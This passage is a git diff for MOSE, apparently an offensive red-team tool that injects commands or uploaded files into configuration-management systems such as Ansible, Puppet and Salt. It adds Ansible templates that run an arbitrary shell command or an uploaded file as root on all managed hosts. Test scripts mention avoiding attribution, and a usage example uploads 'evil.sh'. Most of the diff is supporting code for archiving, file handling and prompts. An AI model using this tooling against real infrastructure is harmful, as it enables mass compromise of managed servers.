h1:OYFUffxXPezb7BVTx9AaD4Vl0qtxmklBIkwCKH1YwDY= -golang.org/x/sys v0.0.0-20200102141924-c96a22e43c9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 h1:LfCXLvNmTYH9kEmVgqbnsWfruoXZIrh4YBgqVHtDvw0= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4 h1:sfkvUWPNGwSV+8/fNqctR5lS2AqCSqYwXdrjCxp/dXo= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 h1:SvFZT6jyqRaOeXpc5h/JSfZenJ2O330aBsf7JfSUXmQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190729092621-ff9f1409240a/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI= golang.org/x/tools v0.0.0-20191004055002-72853e10c5a3 h1:2AmBLzhAfXj+2HCW09VCkJtHIYgHTIPcTeYqgP7Bwt0= golang.org/x/tools v0.0.0-20191004055002-72853e10c5a3/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20200204192400-7124308813f3 h1:Ms82wn6YK4ZycO6Bxyh0kxX3gFFVGo79CCuc52xgcys= +golang.org/x/tools v0.0.0-20200204192400-7124308813f3/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200214225126-5916a50871fb h1:v/vJOBYLZ/j1iLRnB+xIrKSrcDL2mEvX8M8yx6cvs7M= +golang.org/x/tools v0.0.0-20200214225126-5916a50871fb/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8 h1:Nw54tB0rB7hY/N0NQvRW8DG4Yk3Q6T9cu9RcFQDu1tc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= @@ -226,10 +257,14 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/src-d/go-billy.v4 v4.3.0 h1:KtlZ4c1OWbIs4jCv5ZXrTqG8EQocr0g/d4DjNg70aek= gopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk= +gopkg.in/src-d/go-billy.v4 v4.3.2 h1:0SQA1pRztfTFx2miS8sA97XvooFeNOmvUenF4o0EcVg= +gopkg.in/src-d/go-billy.v4 v4.3.2/go.mod h1:nDjArDMp+XMs1aFAESLRjfGSgfvoYN0hDfzEk0GjC98= gopkg.in/src-d/go-git-fixtures.v3 v3.5.0 h1:ivZFOIltbce2Mo8IjzUHAFoq/IylO9WHhNOAJK+LsJg= gopkg.in/src-d/go-git-fixtures.v3 v3.5.0/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g= gopkg.in/src-d/go-git.v4 v4.12.0 h1:CKgvBCJCcdfNnyXPYI4Cp8PaDDAmAPEN0CtfEdEAbd8= gopkg.in/src-d/go-git.v4 v4.12.0/go.mod h1:zjlNnzc1Wjn43v3Mtii7RVxiReNP0fIu9npcXKzuNp4= +gopkg.in/src-d/go-git.v4 v4.13.1 h1:SRtFyV8Kxc0UP7aCHcijOMQGPxHSmMOPrzulQWolkYE= +gopkg.in/src-d/go-git.v4 v4.13.1/go.mod h1:nx5NYcxdKxq5fpltdHnPa2Exj4Sx0EclMWZQbYDu2z8= gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= diff --git a/main.go b/main.go index f6d8281..f32a054 100644 --- a/main.go +++ b/main.go @@ -27,6 +27,8 @@ var ( ) func generateParams() { + var origFileUpload string + paramLoc := filepath.Join("templates", UserInput.CMTarget) box := packr.New("Params", "|") box.ResolutionDir = paramLoc @@ -49,11 +51,19 @@ func generateParams() { if err != nil { log.Fatalln(err) } - + // Temporarily set UserInput.FileUpload to the name of the file uploaded to avoid pathing issues in the payload + if UserInput.FileUpload != "" { + origFileUpload = UserInput.FileUpload + UserInput.FileUpload = filepath.Base(UserInput.FileUpload) + } err = t.Execute(f, UserInput) f.Close() + if UserInput.FileUpload != "" { + UserInput.FileUpload = origFileUpload + } + if err != nil { log.Fatal("Execute: ", err) } @@ -78,13 +88,18 @@ func generateParams() { if !UserInput.ServeSSL && UserInput.WebSrvPort == 443 { UserInput.WebSrvPort = 8090 } + + // Put it back + if UserInput.FileUpload != "" { + UserInput.FileUpload = origFileUpload + } } func generatePayload() { if UserInput.Cmd != "" { moseutils.Msg("Generating %s payload to run %s on a %s system, please wait...", UserInput.CMTarget, UserInput.Cmd, strings.ToLower(UserInput.OSTarget)) } else { - moseutils.Msg("Generating %s payload to run %s on a %s system, please wait...", UserInput.CMTarget, UserInput.FileUpload, strings.ToLower(UserInput.OSTarget)) + moseutils.Msg("Generating %s payload to run %s on a %s system, please wait...", UserInput.CMTarget, filepath.Base(UserInput.FileUpload), strings.ToLower(UserInput.OSTarget)) } prevDir := utils.Gwd() @@ -100,21 +115,31 @@ func generatePayload() { } } - if UserInput.FileUpload != "" && UserInput.FilePath == "" { - log.Printf("File Upload specified, copying file to payloads directory.") - moseutils.CpFile(UserInput.FileUpload, filepath.Join("../../../payloads", filepath.Base(UserInput.FileUpload))) + // If FileUpload is specified, we need to copy it into place + if UserInput.FileUpload != "" { + err := moseutils.CpFile(UserInput.FileUpload, filepath.Join("../../../payloads", filepath.Base(UserInput.FileUpload))) + if err != nil { + log.Fatalf("Failed to copy input file upload (%v): %v, exiting", UserInput.FileUpload, err) + } } - if UserInput.FilePath != "" { + // FilePath specified with command to run + if UserInput.FilePath != "" && UserInput.FileUpload == "" { moseutils.Msg("Creating binary at: " + UserInput.FilePath) payload = UserInput.FilePath } + // FilePath used as tar output location in conjunction with FileUpload + if UserInput.FilePath != "" && UserInput.FileUpload != "" { + moseutils.Msg("File Upload specified, copying file to payloads directory. FilePath supplied, tar file will be located at specified location") + moseutils.CpFile(UserInput.FileUpload, filepath.Join("../../../payloads", filepath.Base(UserInput.FileUpload))) + } + _, err := utils.RunCommand("env", "GOOS="+strings.ToLower(UserInput.OSTarget), "GOARCH=amd64", "go", "build", "-o", payload) if UserInput.Debug { log.Printf("Current directory: %s", utils.Gwd()) - log.Printf("env GOOS=" + strings.ToLower(UserInput.OSTarget) + " GOARCH=amd64" + " go" + " build" + " -o " + payload) + log.Printf("Command to generate the payload: env GOOS=" + strings.ToLower(UserInput.OSTarget) + " GOARCH=amd64" + " go" + " build" + " -o " + payload) } if err != nil { log.Fatalf("Error running the command to generate the target payload: %v", err) @@ -164,8 +189,25 @@ func main() { if UserInput.FileUpload != "" { targetBin := filepath.Join("payloads", UserInput.CMTarget+"-"+strings.ToLower(UserInput.OSTarget)) files := []string{filepath.Join("payloads", filepath.Base(UserInput.FileUpload)), targetBin} - moseutils.Info("Compressing files %v into payloads/files.tar", files) - moseutils.TarFiles(files, "payloads/files.tar") + archiveLoc := "payloads/files.tar" + if UserInput.FilePath != "" { + archiveLoc = UserInput.FilePath + } + + // Specify tar for the archive type if no extension is defined + if filepath.Ext(archiveLoc) == "" { + archiveLoc = archiveLoc + ".tar" + } + + moseutils.Info("Compressing files %v into %s", files, archiveLoc) + + loc, err := moseutils.ArchiveFiles(files, archiveLoc) + if err != nil { + moseutils.ErrMsg("Error generating archive file", err) + } + if UserInput.Debug { + log.Printf("Archive file created at %s", loc) + } } // If the user hasn't specified to output the payload to a file, then serve it diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9035b79..72ec41f 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -6,6 +6,7 @@ package agent // Agent holds the parameters that can be used by a payload type Agent struct { + AnsibleBackupLoc string Cmd string Debug bool LocalIP string diff --git a/pkg/moseutils/cli.go b/pkg/moseutils/cli.go index 2c93bed..80ee76d 100644 --- a/pkg/moseutils/cli.go +++ b/pkg/moseutils/cli.go @@ -7,6 +7,7 @@ package moseutils import ( "flag" "os" + "strings" ) // CliArgs holds command line arguments specified through user input @@ -49,13 +50,20 @@ func setFlags() { flag.Parse() } -// validateInput ensures that the user inputs proper arguments into mose. +// validateInput ensures that the user inputs proper arguments into MOSE. func validateInput() bool { if cmd == "" && fileUpload == "" { - ErrMsg("You must specify a cm target, a command, and an operating system.") - ErrMsg("Example: mose -t puppet -c pwd -o Linux") + ErrMsg("You must specify a CM target and a command or file to upload.") + ErrMsg("Example: mose -t puppet -c pwd") return false } + + if cmd != "" && fileUpload != "" { + ErrMsg("You must specify a CM target, a command or file to upload, and an operating system.") + ErrMsg("Example: mose -t chef -fu evil.sh") + return false + } + return true } @@ -78,7 +86,7 @@ func ParseCLIArgs() CliArgs { FileUpload: fileUpload, LocalIP: localIP, PayloadName: payloadName, - OSTarget: osTarget, + OSTarget: strings.ToLower(osTarget), WebSrvPort: webSrvPort, RemoteUploadFilePath: remoteUploadFilePath, SettingsPath: settingsPath, diff --git a/pkg/moseutils/fileutils.go b/pkg/moseutils/fileutils.go index ce2aab0..225e8ce 100644 --- a/pkg/moseutils/fileutils.go +++ b/pkg/moseutils/fileutils.go @@ -90,6 +90,25 @@ func File2lines(filePath string) ([]string, error) { return LinesFromReader(f) } +// ReadBytesFromFile returns all data from the input file (filePath) as a byte array +func ReadBytesFromFile(filePath string) ([]byte, error) { + b, err := ioutil.ReadFile(filePath) + if err != nil { + return nil, err + } + return b, nil +} + +// WriteBytesToFile writes a byte array to the file specified with filePath with the permissions specified in perm +// An error will be returned if there is one +func WriteBytesToFile(filePath string, data []byte, perm os.FileMode) error { + err := ioutil.WriteFile(filePath, data, 0644) + if err != nil { + return err + } + return nil +} + // InsertStringToFile with insert a string (str) into the n-th line (index) of a specified file (path) // Resource: https://siongui.github.io/2017/01/30/go-insert-line-or-string-to-file/ func InsertStringToFile(path, str string, index int) error { @@ -125,15 +144,25 @@ func LinesFromReader(r io.Reader) ([]string, error) { return lines, nil } -// TarFiles will create a tar file at a specific location (tarLocation) with the files specified (files) -func TarFiles(files []string, tarLocation string) { - tar := archiver.Tar{ - OverwriteExisting: true, +// ArchiveFiles will create an archive file at a specific location (archiveLocation) with the files specified (files) +// currently only supports tar and zip based archives. Rar can handle unpacking only and gz does not handle files +func ArchiveFiles(files []string, archiveLocation string) (string, error) { + ext, err := archiver.ByExtension(filepath.Base(archiveLocation)) + if err != nil { + return "", err + } + if _, err := os.Stat(archiveLocation); !os.IsNotExist(err) { + _ = os.Remove(archiveLocation) } - if err := tar.Archive(files, tarLocation); err != nil { - log.Fatalln(err) + arc, ok := ext.(archiver.Archiver) + if !ok { + return "", errors.New("Archive type not supported currently currently supported: (tar.gz, tar, tar.xz, zip)") + } + if err := arc.Archive(files, archiveLocation); err != nil { + return "", err } + return archiveLocation, nil } // ReplLineInFile will replace a line in a file (filePath) with the specified replStr and delimiter (delim) @@ -197,7 +226,7 @@ func RemoveTracker(filePath string, osTarget string, destroy bool) { continue } if !destroy { - ans, err = AskUserQuestion("Would you like to remove this file/folder "+filename, osTarget) + ans, err = AskUserQuestion("Would you like to remove this file: "+filename+"? ", osTarget) if err != nil { log.Fatal("Quitting cleanup...") } diff --git a/pkg/moseutils/settings.go b/pkg/moseutils/settings.go index 45928d6..21fe090 100644 --- a/pkg/moseutils/settings.go +++ b/pkg/moseutils/settings.go @@ -12,6 +12,7 @@ import ( // Settings represents the configuration information found in settings.json type Settings struct { + AnsibleBackupLoc string ChefClientKey string ChefNodeName string ChefValidationKey string diff --git a/pkg/moseutils/sysutils.go b/pkg/moseutils/sysutils.go index 5eb5df6..a26b85e 100644 --- a/pkg/moseutils/sysutils.go +++ b/pkg/moseutils/sysutils.go @@ -5,26 +5,32 @@ package moseutils import ( + "errors" "io/ioutil" "log" "os" + "os/user" + "path/filepath" "regexp" "strings" + "syscall" ) // CpFile is used to copy a file from a source (src) to a destination (dst) -func CpFile(src string, dst string) { +// If there is a failure to do so, an error is returned +func CpFile(src string, dst string) error { input, err := ioutil.ReadFile(src) if err != nil { - log.Println(err) - return + log.Printf("Error reading from %s: %v", src, err) + return err } err = ioutil.WriteFile(dst, input, 0644) if err != nil { - log.Printf("Error creating %v: %v", dst, err) - return + log.Printf("Error writing to %s: %v", dst, err) + return err } + return nil } // Cd changes the directory to the one specified with dir @@ -35,16 +41,42 @@ func Cd(dir string) { } } -// FindFiles finds based on their file extension in specified directories -// locations: slice with locations to search for files -// extensionList: slice with file extensions to check for -// fileNames: slice with filenames to search for +// GetUIDGid gets the uid and gid of a file +func GetUIDGid(file string) (int, int, error) { + info, err := os.Stat(file) + if err != nil { + return -1, -1, err + } + if stat, ok := info.Sys().(*syscall.Stat_t); ok { + UID := int(stat.Uid) + GID := int(stat.Gid) + return UID, GID, nil + } + return -1, -1, errors.New("Unable to retrieve UID and GID of file") +} + +// ChownR recursively change owner of directory +func ChownR(path string, uid int, gid int) error { + return filepath.Walk(path, func(name string, info os.FileInfo, err error) error { + if err != nil { + return err + } + _ = os.Chown(name, uid, gid) + return nil + }) +} + +// FindFiles finds files based on their extension in specified directories +// locations - where to search for files +// extensionList - file extensions to search for +// fileNames - filenames to search for +// dirNames - directory names to search for (optional) // Returns files found that meet the input criteria -func FindFiles(locations []string, extensionList []string, fileNames []string, dirNames []string, debug bool) ([]string, []string) { +func FindFiles(locations []string, extensionList []string, fileNames []string, dirNames []string) ([]string, []string) { var foundFiles = make(map[string]int) var foundDirs = make(map[string]int) fileList, dirList := GetFileAndDirList(locations) - // if filenames are supplied, then iterate through them + // iterate through filenames if they are provided for _, fileContains := range fileNames { for _, file := range fileList { if strings.Contains(file, fileContains) { @@ -54,7 +86,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d } } } - // if extensionList is supplied iterated through them + // iterate through the extensionList (if it's provided)s for _, ext := range extensionList { for _, file := range fileList { if strings.HasSuffix(file, ext) { @@ -64,7 +96,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d } } } - // If dirNames are supplied, iterate through them + // iterate through dirNames (if they're provided) for _, reg := range dirNames { for _, dir := range dirList { m, err := regexp.MatchString(reg, dir) @@ -80,13 +112,11 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d } } - if debug { - if len(foundDirs) == 0 && len(dirNames) > 0 { - log.Printf("No dirs found with these names: %v", dirNames) - } - if len(foundFiles) == 0 && len(fileNames) > 0 { - log.Printf("Unable to find any files with these names: %v", fileNames) - } + if len(foundDirs) == 0 && len(dirNames) > 0 { + log.Printf("No dirs found with these names: %v", dirNames) + } + if len(foundFiles) == 0 && len(fileNames) > 0 { + log.Printf("Unable to find any files with these names: %v", fileNames) } foundFileKeys := make([]string, 0, len(foundFiles)) @@ -107,7 +137,7 @@ func FindFiles(locations []string, extensionList []string, fileNames []string, d func FindFile(fileName string, dirs []string) (bool, string) { fileList, _ := GetFileAndDirList(dirs) for _, file := range fileList { - fileReg := `\b` + fileName + `$\b` + fileReg := `/` + fileName + `$` m, err := regexp.MatchString(fileReg, file) if err != nil { log.Fatalf("We had an issue locating the %v file: %v\n", fileReg, err) @@ -119,3 +149,27 @@ func FindFile(fileName string, dirs []string) (bool, string) { } return false, "" } + +// CreateFilePath will create a file specified +// Check prefixes of path that normal filepath package won't expand inherently +// if it matches any prefix $HOME, ~/, / then we need to treat them separately +func CreateFilePath(text string, baseDir string) (string, error) { + var path string + _, err := user.Current() + if err != nil { + return "", err + } + if filepath.HasPrefix(text, "~/") || filepath.HasPrefix(text, "$HOME") { + path = filepath.Base(text) + _, path = FindFile(path, []string{"/root", "/home"}) + } else if filepath.HasPrefix(text, "/") { + path = text + } else { + path, err = filepath.Abs(filepath.Join(baseDir, text)) + if err != nil { + return "", err + } + } + + return path, nil +} diff --git a/pkg/moseutils/sysutils_test.go b/pkg/moseutils/sysutils_test.go new file mode 100644 index 0000000..a00fe6e --- /dev/null +++ b/pkg/moseutils/sysutils_test.go @@ -0,0 +1,36 @@ +// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). +// Under the terms of Contract DE-NA0003525 with NTESS, +// the U.S. Government retains certain rights in this software +package moseutils + +import ( + "os" + "testing" + + utils "github.com/l50/goutils" +) + +func TestCpFile(t *testing.T) { + ogFile := "test.txt" + newFile := "copiedTest.txt" + // If the file doesn't exist, create it, or append to the file + f, err := os.OpenFile(ogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + t.Fatal(err) + } + if _, err := f.Write([]byte("appended some data\n")); err != nil { + f.Close() // ignore error; Write error takes precedence + t.Fatal(err) + } + if err := f.Close(); err != nil { + t.Fatal(err) + } + CpFile(ogFile, newFile) + exists := utils.FileExists(newFile) + if !exists { + t.Fatal("Copy functionality is not working!") + } else { + os.Remove(ogFile) + os.Remove(newFile) + } +} diff --git a/pkg/moseutils/ui.go b/pkg/moseutils/ui.go index b031c5d..3b0413d 100644 --- a/pkg/moseutils/ui.go +++ b/pkg/moseutils/ui.go @@ -9,6 +9,7 @@ import ( "errors" "fmt" "os" + "strconv" "strings" ) @@ -37,3 +38,47 @@ func AskUserQuestion(question string, osTarget string) (bool, error) { } } } + +// IndexedUserQuestion takes a question from a user and returns true or false based on the input. +// The input must be a number, which correspond to an index of an answer. +// The operating system must be specified as an input in order to handle the line ending properly; +// Windows uses a different line ending scheme than Unix systems +// pp is used to pass in an anonymous function for pretty printing - see validateIndicies() in cmd/mose/ansible/main.go for an example +// Loosely based on https://tutorialedge.net/golang/reading-console-input-golang/ +func IndexedUserQuestion(question string, osTarget string, validIndices map[int]bool, pp func()) (map[int]bool, error) { + reader := bufio.NewReader(os.Stdin) + for { + var err error + fmt.Println(question) + text, _ := reader.ReadString('\n') + if strings.Contains(text, "q") { + return nil, errors.New("Quit") + } + if osTarget == "windows" { + text = text[:len(text)-2] + } else { + text = text[:len(text)-1] + } + strnums := strings.Split(text, ",") + nums := make(map[int]bool) + for _, n := range strnums { + n = strings.TrimSpace(n) + num, e := strconv.Atoi(n) + if e != nil { + ErrMsg("Number provided is not an integer") + err = e + } else if !validIndices[num] { + ErrMsg("Number is not valid, try again") + if pp != nil { + pp() + } + err = errors.New("input number is not a valid index") + } else { + nums[num] = true + } + } + if err == nil && len(nums) > 0 { + return nums, nil + } + } +} diff --git a/pkg/moseutils/userinput.go b/pkg/moseutils/userinput.go index 938e521..88576f5 100644 --- a/pkg/moseutils/userinput.go +++ b/pkg/moseutils/userinput.go @@ -34,6 +34,7 @@ type UserInput struct { TimeToServe int // Settings + AnsibleBackupLoc string ChefClientKey string ChefNodeName string ChefValidationKey string @@ -79,12 +80,22 @@ func processInput() { Cli = ParseCLIArgs() JSONSettings = loadSettings(Cli.SettingsPath) + // Translate Relative path to absolute path from mose top level directory + if Cli.FilePath != "" { + path, err := filepath.Abs(Cli.FilePath) + if err != nil { + log.Printf("Error generating absolute payload FilePath from %s", Cli.FilePath) + } + + Cli.FilePath = path + } + // If rhost isn't specified as an input parameter, set it to the value in settings.json if Cli.Rhost == "" { Cli.Rhost = JSONSettings.RemoteHost } if Cli.FileUpload != "" { - Cli.FileUpload = filepath.Base(Cli.FileUpload) + Cli.FileUpload, _ = filepath.Abs(Cli.FileUpload) } if Cli.Debug { log.Print("JSON configuration loaded with the following values") @@ -100,6 +111,7 @@ func processInput() { func GetUserInput() UserInput { processInput() var UserInput = UserInput{ + AnsibleBackupLoc: JSONSettings.AnsibleBackupLoc, ChefClientKey: JSONSettings.ChefClientKey, ChefNodeName: JSONSettings.ChefNodeName, ChefValidationKey: JSONSettings.ChefValidationKey, diff --git a/scripts/test_ansible_cmd.exp b/scripts/test_ansible_cmd.exp new file mode 100755 index 0000000..55f6478 --- /dev/null +++ b/scripts/test_ansible_cmd.exp @@ -0,0 +1,10 @@ +#!/usr/bin/expect -f + +spawn /ansible-linux + +expect "Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. \[Y/n/q\]" +send "Y\r" + +expect "Would you like to target all managed hosts? \[Y/n/q\]" +send "Y\r" +expect eof \ No newline at end of file diff --git a/scripts/test_ansible_file_upload.exp b/scripts/test_ansible_file_upload.exp new file mode 100755 index 0000000..8c8759c --- /dev/null +++ b/scripts/test_ansible_file_upload.exp @@ -0,0 +1,13 @@ +#!/usr/bin/expect -f + +spawn /ansible-linux + +expect "Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. \[Y/n/q\]" +send "Y\r" + +expect "Would you like to target all managed hosts? \[Y/n/q\]" +send "n\r" + +expect "Provide the index of the location that you want to inject into the site.yml (ex. 1,3,...):" +send "0\r" +expect eof \ No newline at end of file diff --git a/settings.json b/settings.json index 3afe4da..db97f8e 100644 --- a/settings.json +++ b/settings.json @@ -1,4 +1,5 @@ { + "ansibleBackupLoc" : "", "chefClientKey" : "keys/admin.pem", "chefNodeName": "admin", "chefValidationKey" : "keys/my_org-validator.pem", diff --git a/templates/ansible/ansibleFileUploadPlaybook.tmpl b/templates/ansible/ansibleFileUploadPlaybook.tmpl new file mode 100644 index 0000000..ff518f0 --- /dev/null +++ b/templates/ansible/ansibleFileUploadPlaybook.tmpl @@ -0,0 +1,8 @@ +--- +- name: {{.CmdName}} + copy: + src: "{{`{{ role_path }}`}}/files/{{.FileName}}" + dest: "/tmp/{{.FileName}}" + mode: 0744 +- name: Run {{.CmdName}} + shell: "/tmp/{{.FileName}}" \ No newline at end of file diff --git a/templates/ansible/ansiblePlaybook.tmpl b/templates/ansible/ansiblePlaybook.tmpl new file mode 100644 index 0000000..a72dcb7 --- /dev/null +++ b/templates/ansible/ansiblePlaybook.tmpl @@ -0,0 +1,4 @@ +--- +- name: {{.CmdName}} + become: true + shell: {{.Cmd}} diff --git a/templates/ansible/params.tmpl b/templates/ansible/params.tmpl new file mode 100644 index 0000000..b614ae6 --- /dev/null +++ b/templates/ansible/params.tmpl @@ -0,0 +1,20 @@ +package main + +import ( + "github.com/master-of-servers/mose/pkg/agent" +) + +func CreateAgent() agent.Agent { + agent := agent.Agent{ + AnsibleBackupLoc: "{{.AnsibleBackupLoc}}", + CleanupFile: "{{.CleanupFile}}", + Cmd: "{{.Cmd}}", + Debug: {{.Debug}}, + FileName: "{{.FileUpload}}", + LocalIP: "{{.LocalIP}}", + OsTarget: "{{.OSTarget}}", + PayloadName: "{{.PayloadName}}", + RemoteUploadFilePath: "{{.RemoteUploadFilePath}}", + } + return agent +} \ No newline at end of file diff --git a/templates/ansible/site.tmpl b/templates/ansible/site.tmpl new file mode 100644 index 0000000..2dd9516 --- /dev/null +++ b/templates/ansible/site.tmpl @@ -0,0 +1,6 @@ +--- +- name: {{.CmdName}} + hosts: all + become: true + roles: + - {{.CmdName}} \ No newline at end of file diff --git a/templates/puppet/puppetFileUploadModule.tmpl b/templates/puppet/puppetFileUploadModule.tmpl index 6d5b678..f722cf2 100644 --- a/templates/puppet/puppetFileUploadModule.tmpl +++ b/templates/puppet/puppetFileUploadModule.tmpl @@ -1,6 +1,6 @@ class {{.ClassName}} { file { '{{.FilePath}}': - mode => '0744', + mode => '0755', owner => 'root', group => 'root', source => 'puppet:///modules/{{.ClassName}}/{{.FileName}}', diff --git a/templates/salt/params.tmpl b/templates/salt/params.tmpl new file mode 100644 index 0000000..16a447b --- /dev/null +++ b/templates/salt/params.tmpl @@ -0,0 +1,20 @@ +package main + +import ( + "github.com/master-of-servers/mose/pkg/agent" +) + +func CreateAgent() agent.Agent { + agent := agent.Agent{ + Cmd: "{{.Cmd}}", + Debug: {{.Debug}}, + LocalIP: "{{.LocalIP}}", + OsTarget: "{{.OSTarget}}", + PayloadName: "{{.PayloadName}}", + FileName: "{{.FileUpload}}", + RemoteUploadFilePath: "{{.RemoteUploadFilePath}}", + CleanupFile: "{{.CleanupFile}}", + SaltBackupLoc: "{{.SaltBackupLoc}}", + } + return agent +}